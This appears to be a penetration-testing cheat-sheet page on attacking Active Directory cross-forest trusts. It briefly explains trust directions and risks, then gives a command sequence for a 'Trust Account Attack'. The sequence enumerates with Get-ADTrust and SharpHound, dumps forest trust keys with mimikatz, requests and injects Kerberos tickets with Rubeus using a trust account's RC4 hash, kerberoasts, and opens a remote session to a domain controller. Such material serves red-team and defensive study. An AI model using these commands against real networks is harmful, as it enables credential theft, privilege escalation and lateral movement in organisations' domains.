Cross Forest Attacks
In Active Directory (AD), a trust is a connection between the authentication systems of two domains, allowing users from one domain to access resources in another. Trusts exist both within a single AD forest and between separate forests (cross-forest trusts). There are many ways to attack cross-forest trusts.
Direction of Access
Trusted → Trusting
Both ways (Bidirectional)
Who Can Access What?
Users in the trusted domain can access the trusting domain, but not vice versa.
Users from both domains/forests can access each other's resources.
Common Use Case
A parent company allows employees from a subsidiary to access shared resources, but not the other way around.
Common in large organizations where domains need to share resources freely.
Security Risk
Lower risk, as access is limited to one direction.
Higher risk, since a compromise in one domain/forest can affect the other.
In a nutshell
AD trusts allow users in different domains/forests to access resources.
External Trusts are more restrictive and use SID Filtering.
Forest Trusts are more flexible but riskier because they allow full authentication across forests.
One-Way Trusts allow access in only one direction, while Two-Way Trusts allow access in both directions.
Attackers can abuse trust relationships if security is not properly configured.
Kerberoasting targeting a Domain
.\Rubeus.exe kerberoast /domain:logistics.ad /user:holly
Trust Account Attack
In above example we see a one-way trust from Forest A to Forest B, the access works from A to B but not the other way around. To brake this rule we can perform a Trust Account Attack.
# Enumerate
Get-ADTrust -Identity megacorp.ad
# SharpHound domain
.\SharpHound.exe -c All -d megacorp.ad
# Extract Forest Trust Keys
.\mimikatz.exe "lsadump::trust /patch" exit
# Request ticket for logistics$
.\Rubeus.exe asktgt /user:logistics$ /domain:megacorp.ad /rc4:68e456d3a95cc748ac5a2eae679b9c91 /ptt
# Kerberoast
.\Rubeus.exe kerberoast /domain:megacorp.ad
# Or request a ticket
.\Rubeus.exe asktgt /user:white.beard /password:<SNIP> /domain:megacorp.ad /ptt
# New PS Session
New-PSSession DC03.megacorp.ad
Last updated
Was this helpful?